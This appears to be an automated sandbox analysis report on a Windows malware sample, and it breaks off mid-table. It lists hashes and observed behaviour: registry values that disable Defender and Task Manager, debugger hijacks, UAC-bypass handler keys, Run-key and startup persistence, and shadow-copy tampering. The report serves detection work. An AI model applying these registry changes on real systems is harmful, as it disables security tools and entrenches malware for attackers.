Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/05/2026, 00:42
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
theguide.io_chrome.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
44 signatures
150 seconds
Behavioral task
behavioral2
Sample
theguide.io_chrome.exe
Resource
win11-20250619-en
windows11-21h2-x64
42 signatures
150 seconds
General
- Target theguide.io_chrome.exe
- Size 50KB
- Sample260508-a2bmesfw9k
- SHA256 94891f10f79af6125f676002d626e651602703e1f7ba13ebf6713044f8734904
- MD5 7afc8f863a47b7b930e08f63dab293d8
- SHA1 ba63687cdf9de82e739920049e2bd0933448da74
- SHA512 38baabf06f96ded2d512ac9dc2c74ab5955da6ccbfeabc152a501b42f3380857c64854512da46b4cda30b0ca6544c8b3567bca529756ddd6f949ce2869cac95b
- SSDEEP 768:xdZRdbpCB2X4cB74qgIiTzuUW/U/Rgr4WC1XXGblfppAKFc5xs:PZ7IBjm8hIinpAUGr4WEXGblfLAucI
- TLSH T15633F74477FC8111F1BF9ABA89B185119B31F4939C22D79D0BD9058E1AB3740CDA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4652-0-0x00000000000A0000-0x00000000000B2000-memory.dmp disable_win_def behavioral1/files/0x00070000000249c9-2389.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" theguide.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" theguide.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4808 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" theguide.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts theguide.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe theguide.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe theguide.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe theguide.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4480 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation theguide.io_chrome.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf theguide.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf theguide.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf theguide.io_chrome.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe theguide.io_chrome.exe File created C:\Windows\system32\sysupdate.exe theguide.io_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe theguide.io_chrome.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5700 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" theguide.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" theguide.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3952 sc.exe 4004 sc.exe 5640 sc.exe 5376 sc.exe 3908 sc.exe 1008 sc.exe 4480 sc.exe 3404 sc.exe 5156 sc.exe 5424 sc.exe 1932 sc.exe 884 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 416 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2896 ipconfig.exe 1308 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4116 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6016 vssadmin.exe 2256 vssadmin.exe 6036 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\Desktop\WallpaperStyle = "2" theguide.io_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134226745522759134" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell theguide.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell theguide.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe\" \"%1\"" theguide.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings theguide.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell\open\command\DelegateExecute theguide.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\.pdf\ = "PDFBotnet" theguide.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet theguide.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell\open\command theguide.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell\open theguide.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe" theguide.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings theguide.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command theguide.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open theguide.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell\open\command theguide.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell\open theguide.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\ms-settings\shell theguide.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5768 schtasks.exe 2184 schtasks.exe 3964 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4808 powershell.exe 4808 powershell.exe 4808 powershell.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe 4652 theguide.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4652 theguide.io_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeDebugPrivilege 4808 powershell.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeIncreaseQuotaPrivilege 6076 WMIC.exe Token: SeSecurityPrivilege 6076 WMIC.exe Token: SeTakeOwnershipPrivilege 6076 WMIC.exe Token: SeLoadDriverPrivilege 6076 WMIC.exe Token: SeSystemProfilePrivilege 6076 WMIC.exe Token: SeSystemtimePrivilege 6076 WMIC.exe Token: SeProfSingleProcessPrivilege 6076 WMIC.exe Token: SeIncBasePriorityPrivilege 6076 WMIC.exe Token: SeCreatePagefilePrivilege 6076 WMIC.exe Token: SeBackupPrivilege 6076 WMIC.exe Token: SeRestorePrivilege 6076 WMIC.exe Token: SeShutdownPrivilege 6076 WMIC.exe Token: SeDebugPrivilege 6076 WMIC.exe Token: SeSystemEnvironmentPrivilege 6076 WMIC.exe Token: SeRemoteShutdownPrivilege 6076 WMIC.exe Token: SeUndockPrivilege 6076 WMIC.exe Token: SeManageVolumePrivilege 6076 WMIC.exe Token: 33 6076 WMIC.exe Token: 34 6076 WMIC.exe Token: 35 6076 WMIC.exe Token: 36 6076 WMIC.exe Token: SeBackupPrivilege 2632 vssvc.exe Token: SeRestorePrivilege 2632 vssvc.exe Token: SeAuditPrivilege 2632 vssvc.exe Token: SeIncreaseQuotaPrivilege 6076 WMIC.exe Token: SeSecurityPrivilege 6076 WMIC.exe Token: SeTakeOwnershipPrivilege 6076 WMIC.exe Token: SeLoadDriverPrivilege 6076 WMIC.exe Token: SeSystemProfilePrivilege 6076 WMIC.exe Token: SeSystemtimePrivilege 6076 WMIC.exe Token: SeProfSingleProcessPrivilege 6076 WMIC.exe Token: SeIncBasePriorityPrivilege 6076 WMIC.exe Token: SeCreatePagefilePrivilege 6076 WMIC.exe Token: SeBackupPrivilege 6076 WMIC.exe Token: SeRestorePrivilege 6076 WMIC.exe Token: SeShutdownPrivilege 6076 WMIC.exe Token: SeDebugPrivilege 6076 WMIC.exe Token: SeSystemEnvironmentPrivilege 6076 WMIC.exe Token: SeRemoteShutdownPrivilege 6076 WMIC.exe Token: SeUndockPrivilege 6076 WMIC.exe Token: SeManageVolumePrivilege 6076 WMIC.exe Token: 33 6076 WMIC.exe Token: 34 6076 WMIC.exe Token: 35 6076 WMIC.exe Token: 36 6076 WMIC.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe Token: SeShutdownPrivilege 4676 chrome.exe Token: SeCreatePagefilePrivilege 4676 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe 4676 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4652 theguide.io_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4652 wrote to memory of 4676 4652 theguide.io_chrome.exe 84 PID 4676 wrote to memory of 2064 4676 chrome.exe 85 PID 4652 wrote to memory of 4808 4652 theguide.io_chrome.exe 86 PID 4652 wrote to memory of 1932 4652 theguide.io_chrome.exe 88 PID 4652 wrote to memory of 4480 4652 theguide.io_chrome.exe 158 PID 4652 wrote to memory of 3404 4652 theguide.io_chrome.exe 92 PID 4652 wrote to memory of 884 4652 theguide.io_chrome.exe 94 PID 4652 wrote to memory of 5156 4652 theguide.io_chrome.exe 96 PID 4652 wrote to memory of 3952 4652 theguide.io_chrome.exe 98 PID 4652 wrote to memory of 5640 4652 theguide.io_chrome.exe 100 PID 4652 wrote to memory of 4004 4652 theguide.io_chrome.exe 101 PID 4652 wrote to memory of 5596 4652 theguide.io_chrome.exe 104 PID 4652 wrote to memory of 5424 4652 theguide.io_chrome.exe 105 PID 4652 wrote to memory of 5376 4652 theguide.io_chrome.exe 107 PID 4676 wrote to memory of 5784 4676 chrome.exe 109 PID 4676 wrote to memory of 5784 4676 chrome.exe 109 PID 4652 wrote to memory of 6016 4652 theguide.io_chrome.exe 139 PID 4676 wrote to memory of 416 4676 chrome.exe 111 PID 4676 wrote to memory of 5600 4676 chrome.exe 113 PID 4676 wrote to memory of 5600 4676 chrome.exe 113 PID 4676 wrote to memory of 3284 4676 chrome.exe 115 PID 4676 wrote to memory of 3284 4676 chrome.exe 115 PID 4676 wrote to memory of 6092 4676 chrome.exe 116 PID 4676 wrote to memory of 6092 4676 chrome.exe 116 PID 4676 wrote to memory of 1976 4676 chrome.exe 117 PID 4676 wrote to memory of 1976 4676 chrome.exe 117 PID 4652 wrote to memory of 6076 4652 theguide.io_chrome.exe 118 PID 5596 wrote to memory of 720 5596 fodhelper.exe 120 PID 4676 wrote to memory of 1608 4676 chrome.exe 123 PID 4676 wrote to memory of 1608 4676 chrome.exe 123 PID 4652 wrote to memory of 1124 4652 theguide.io_chrome.exe 126 PID 4652 wrote to memory of 5768 4652 theguide.io_chrome.exe 127 PID 4652 wrote to memory of 2184 4652 theguide.io_chrome.exe 129 PID 4652 wrote to memory of 6056 4652 theguide.io_chrome.exe 133 PID 4652 wrote to memory of 2176 4652 theguide.io_chrome.exe 135 PID 4652 wrote to memory of 3052 4652 theguide.io_chrome.exe 137 PID 4652 wrote to memory of 3760 4652 theguide.io_chrome.exe 138 PID 4652 wrote to memory of 6016 4652 theguide.io_chrome.exe 139 PID 4652 wrote to memory of 4612 4652 theguide.io_chrome.exe 140 PID 4652 wrote to memory of 5808 4652 theguide.io_chrome.exe 141 PID 4652 wrote to memory of 3932 4652 theguide.io_chrome.exe 142 PID 4652 